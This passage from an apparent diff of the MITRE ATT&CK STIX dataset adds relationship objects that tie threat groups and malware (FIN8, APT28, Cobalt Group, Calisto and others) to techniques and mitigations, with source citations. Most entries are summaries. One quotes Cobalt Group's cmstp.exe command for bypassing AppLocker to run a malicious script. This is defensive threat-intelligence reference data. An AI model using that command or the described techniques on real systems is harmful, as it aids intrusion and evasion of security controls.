"attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.020Z", + "id": "relationship--130275cb-368e-4168-a4bf-60b39566bc50", + "source_ref": "course-of-action--1c0711c8-2a73-48a1-893d-ff88bcd23824", + "modified": "2019-07-25T11:39:28.080Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) has used environment variables and standard input (stdin) to obfuscate command-line arguments. [FIN8](https://attack.mitre.org/groups/G0061) also obfuscates malicious macros delivered as payloads.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--82ce1bf6-b1a1-4a82-9c86-8ff372d6a873", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "modified": "2019-03-22T20:21:57.541Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Obfuscation June 2017", + "description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html" + }, + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--e669bb87-f773-4c7b-bfcc-a9ffebfdd8d4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.041Z", + "id": "relationship--720c211e-2219-496d-8a34-c3f37dfbe5bf", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:35.686Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Sednit Part 3", + "description": "ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) used command line for execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--d164d443-6298-47eb-b767-8f1136f6b6b5", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "modified": "2019-03-22T20:13:49.301Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--b1de6916-7a22-4460-8d26-6b5483ffaa2a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.048Z", + "id": "relationship--08d91d3c-b7c7-4cbc-a4eb-29edd3be3e3a", + "source_ref": "intrusion-set--f047ee18-7985-4946-8bfb-4ed754d3a0dd", + "modified": "2019-03-22T18:44:28.612Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--39a130e1-6ab7-434a-8bd2-418e7d9d6427", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.023Z", + "id": "relationship--52b6181e-881e-4b96-93a3-1292bc2f1352", + "source_ref": "course-of-action--9378f139-10ef-4e4b-b679-2255a0818902", + "modified": "2019-10-11T02:52:39.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a", + "description": "[Deep Panda](https://attack.mitre.org/groups/G0009) has used regsvr32.exe to execute a server variant of [Derusbi](https://attack.mitre.org/software/S0021) in victim networks.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.043Z", + "id": "relationship--4fab8d06-e6fb-472f-91ee-f2fd29ef444e", + "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064", + "modified": "2019-03-22T20:09:34.647Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "RSA Shell Crew", + "description": "RSA Incident Response. (2014, January). RSA Incident Response Emerging Threat Profile: Shell Crew. Retrieved January 14, 2016.", + "url": "https://www.emc.com/collateral/white-papers/h12756-wp-shell-crew.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) used SMB for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--7af4c9fb-72c2-437e-b0f2-caf3f07d493b", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "modified": "2019-03-22T20:13:49.303Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[APT37](https://attack.mitre.org/groups/G0067)'s Freenki malware lists running processes using the Microsoft Windows API.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--a9b92f28-c273-48cf-8ee6-dfa6c240cda9", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "modified": "2019-09-09T19:12:32.509Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Group123", + "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7d6f590f-544b-45b4-9a42-e0805f342af3", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has used the command cmstp.exe /s /ns C:\\Users\\ADMINI~W\\AppData\\Local\\Temp\\XKNqbpzl.txt to bypass AppLocker and launch a malicious script.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--5dbd040e-0433-42ca-8e03-b3741be31cb2", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "modified": "2019-07-26T23:38:33.286Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Cobalt Group July 2018", + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html" + }, + { + "description": "Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018.", + "source_name": "Morphisec Cobalt Gang Oct 2018", + "url": "https://blog.morphisec.com/cobalt-gang-2.0" + }, + { + "description": "Unit 42. (2018, October 25). New Techniques to Uncover and Attribute Financial actors Commodity Builders and Infrastructure Revealed. Retrieved December 11, 2018.", + "source_name": "Unit 42 Cobalt Gang Oct 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-new-techniques-uncover-attribute-cobalt-gang-commodity-builders-infrastructure-revealed/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "description": "[Poseidon Group](https://attack.mitre.org/groups/G0033) obtains and saves information about victim network interfaces and addresses.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.070Z", + "id": "relationship--21ff06b5-022f-40bf-821b-3e08dc9f08a3", + "source_ref": "intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.", + "source_name": "Kaspersky Poseidon Group", + "url": "https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1c338d0f-a65e-4073-a5c1-c06878849f21", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.027Z", + "id": "relationship--13f5fad8-1b6f-4b65-9803-155f93b5d357", + "source_ref": "course-of-action--7c39ebbf-244e-4d1c-b0ac-b282453ece43", + "modified": "2019-07-25T11:28:17.246Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--42897880-fe55-4f54-a42c-f85ba19fb39a", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "modified": "2019-03-22T19:57:37.438Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has attempted to get users to launch malicious Microsoft Word attachments delivered via spearphishing emails.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--c87a8320-8705-4de3-93ee-2db5c00ea461", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "modified": "2019-03-22T19:57:37.059Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Tick Apr 2016", + "description": "DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.", + "url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[Calisto](https://attack.mitre.org/software/S0274) has the capability to use rm -rf to remove folders and files from the victim's machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--a9c1c589-b5c6-4231-982f-cae0aa41f349", + "source_ref": "malware--b8fdef82-d2cf-4948-8949-6466357b1be1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018.", + "source_name": "Securelist Calisto July 2018", + "url": "https://securelist.com/calisto-trojan-for-macos/86543/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5", + "description": "[DDKONG](https://attack.mitre.org/software/S0255) uses Rundll32 to ensure only a single instance of itself is running at once.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--592324b4-064a-430c-8ffc-7f7acd537778", + "source_ref": "malware--d186c1d6-e3ac-4c3d-a534-9ddfeb8c57bb", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "source_name": "Rancor Unit42 June 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "description": "[Honeybee](https://attack.mitre.org/groups/G0072) uses a combination of NTWDBLIB.dll and cliconfg.exe to bypass UAC protections using DLL hijacking.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--145634d0-cd6c-4184-965a-fe77a158ff97", + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "modified": "2019-03-25T12:58:44.083Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.019Z", + "id": "relationship--e1275bcd-0462-4f79-b18f-2132b0bb74ec", + "source_ref": "course-of-action--c88151a5-fe3f-4773-8147-d801587065a4", + "modified": "2019-07-24T14:05:33.401Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) created accounts on victims, including administrator accounts, some of which appeared to be tailored to each individual staging target.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--f67c1df3-9a03-456e-9de9-74a2ac3a2061", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "modified": "2019-03-22T20:13:49.306Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + }, + { + "source_name": "US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "A keylogging tool used by [APT3](https://attack.mitre.org/groups/G0022) gathers network information from the victim, including the MAC address, IP address, WINS, DHCP server, and gateway.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.057Z", + "id": "relationship--48042284-2fde-43f0-a3dc-f64e9f16bd77", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "modified": "2019-04-29T18:01:20.204Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Buckeye", + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + }, + { + "source_name": "evolution of pirpi", + "description": "Yates, M. (2017, June 18). APT3 Uncovered: The code evolution of Pirpi. Retrieved September 28, 2017.", + "url": "https://recon.cx/2017/montreal/resources/slides/RECON-MTL-2017-evolution_of_pirpi.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88", + "description": "[Elderwood](https://attack.mitre.org/groups/G0066) has packed malware payloads before delivery to victims.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--f8c27264-e42d-48fd-9a18-4b275383f155", + "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484", + "modified": "2019-03-22T20:15:19.351Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "source_name": "Symantec Elderwood Sept 2012", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.022Z", + "id": "relationship--b6f00052-49e3-48c5-8f5e-492be4e67acf", + "source_ref": "course-of-action--c1676218-c16a-41c9-8f7a-023779916e39", + "modified": "2019-10-06T17:57:39.766Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5", + "description": "[CopyKittens](https://attack.mitre.org/groups/G0052) uses rundll32 to load various tools on victims, including a lateral movement tool named Vminst, Cobalt Strike, and shellcode.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--896cd1de-ffa7-4f69-a981-2859cc756601", + "source_ref": "intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a", + "modified": "2019-05-03T16:42:19.154Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ClearSky Wilted Tulip July 2017", + "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--91ce1ede-107f-4d8b-bf4c-735e8789c94b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--67bde2b2-49d1-4a61-8fe7-1a48c58089e6", + "source_ref": "course-of-action--8a61f6b9-6b7a-4cf2-8e08-f1e26434f6df", + "modified": "2019-07-24T19:42:41.438Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has collected emails from victim Microsoft Exchange servers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--1ba59a68-1883-492d-8cd8-f22656eb58a4", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:34.521Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "DOJ GRU Indictment Jul 2018", + "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", + "url": "https://www.justice.gov/file/1080281/download" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.060Z", + "id": "relationship--e9612cb1-79a5-4987-aa83-b84aa7fa050f", + "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648", + "modified": "2019-05-30T18:05:32.905Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "RSA2017 Detect and Respond Adair", + "description": "Adair, S. (2017, February 17). Detecting and Responding to Advanced Threats within Exchange Environments. Retrieved March 20, 2017.", + "url": "https://www.rsaconference.com/writable/presentations/file_upload/hta-f02-detecting-and-responding-to-advanced-threats-within-exchange-environments.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--dfb5fa9b-3051-4b97-8035-08f80aef945b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.064Z", + "id": "relationship--79934567-99e6-4184-8b04-717a1b401006", + "source_ref": "intrusion-set--c5574ca0-d5a4-490a-b207-e4658e5fd1d7", + "modified": "2019-04-22T15:06:12.697Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Scarlet Mimic Jan 2016", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61", + "description": "[APT32](https://attack.mitre.org/groups/G0050) compromised McAfee ePO to move laterally by distributing malware as a software deployment task.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--1d3654f8-3a5e-4ef8-826f-4242ecf78c0a", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:37.663Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[HTTPBrowser](https://attack.mitre.org/software/S0070) has used HTTP, HTTPS, and DNS for command and control.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--b052a076-6d4e-49f5-95ac-16264ef05b1d", + "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "source_name": "Dell TG-3390", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + }, + { + "description": "Shelmire, A.. (2015, July 6). Evasive Maneuvers. Retrieved January 22, 2016.", + "source_name": "ThreatStream Evasion Analysis", + "url": "https://www.threatstream.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", + "description": "[DustySky](https://attack.mitre.org/software/S0062) has two hard-coded domains for C2 servers; if the first does not respond, it will try the second.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--b2ab26e2-eb90-4f19-b35a-b8a0a5438961", + "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", + "source_name": "DustySky", + "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has used TeamViewer to preserve remote access in case control using the Cobalt Strike module was lost.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--45226d14-dc97-4b6e-90ab-30ebf84efa2d", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "modified": "2019-07-26T23:38:33.302Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Group IB Cobalt Aug 2017", + "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.", + "url": "https://www.group-ib.com/blog/cobalt" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--b77b563c-34bb-4fb8-86a3-3694338f7b47", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--2ce2f87e-527d-4bc1-9ba1-79ade0a4db59", + "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064", + "modified": "2019-03-22T20:09:34.807Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Alperovitch 2014", + "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.", + "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": 